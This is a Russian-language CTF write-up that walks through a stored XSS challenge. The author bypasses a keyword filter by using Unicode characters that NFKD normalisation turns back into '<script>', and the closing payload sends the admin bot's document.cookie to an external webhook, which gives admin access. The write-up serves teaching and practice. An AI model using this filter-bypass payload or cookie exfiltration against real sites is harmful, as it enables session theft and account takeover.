Переходим на сайт и сначала нас редиректит пару раз, отследил редиректы через BurpSuite, но не нашёл там ничего интересного. Поэтому пробуем зарегистрироваться. После регистрации нас редиректит в форму ввода логина. И там снизу есть интересное примечание, которое ведёт в директорию /dev:
Логинимся, и переходим в /dev. Здесь нас интересуют упоминания директорий /devchat и /admin. Когда я решал, этот таск, то сначала не придал особого значения этим разделам. Очевидно, по названию, devchat это чат разработчиков. А когда пытаемся перейти в директорию /admin выскакивает уведомление Not Allowed. Перехожу в свой профиль, и вижу, что тут можно оставлять заметки о себе, и стандартная для CTF заданий на XSS уязвимость, кнопка репорта для того чтобы своровать куки у бота который перейдёт на уязвимую страницу.
Пробуем ввести asdqwe ‘ » test в форму, и смотрим куда попадает наш ввод в DOM-модели:
Тут видно, что наш ввод, попадает в тег <input> в атрибут value. Из сурс кода видно, что мы можем закрыть значение атрибута value. Поэтому попробую добавить обработчик событий, пейлоад будет вот таким:
asd” onfocus=alert(123) autofocus “
В ответ получаем:
Путём проб и ошибок, я выяснил, что этот ответ получается каждый раз, когда вводятся любые потенциально опасные символы или слова, например была фильтрация на слова script, onload, onfocus и другие обработчики событий, а также на закрывающий и открывающий тег <>. И тут я встал в тупик, оставалось только почитать наконец /devchat.
По итогу внимательного прочтения их переписки я узнал, что они сначала проверяют ввод на потенциально опасные символы и слова, а потом его нормализуют при помощи NFKD. Хорошая статья про нормализацию https://habr.com/ru/post/45489/ . Сайт с альтернативными значениями символов Unicode — https://www.compart.com/en/unicode/search?q=#characters . Например, у закрывающего тега, есть 3 альтернативы, которые NFKD нормализует в стандартный закрывающий тег:
Теперь зная это, открываю веб хук, пишу простой пейлоад:
asd"﹥<sᶜriₚt﹥window.location=’https://engjqnfcn4nu5qg.m.pipedream.net/?v'+document.cookie</sᶜriₚt﹥
Обновляю информацию о себе, жму кнопку репорта и смотрю запрос в веб хуке:
Добавляем себе эту куку, переходим в раздел /admin и получаем заветный флаг 🙂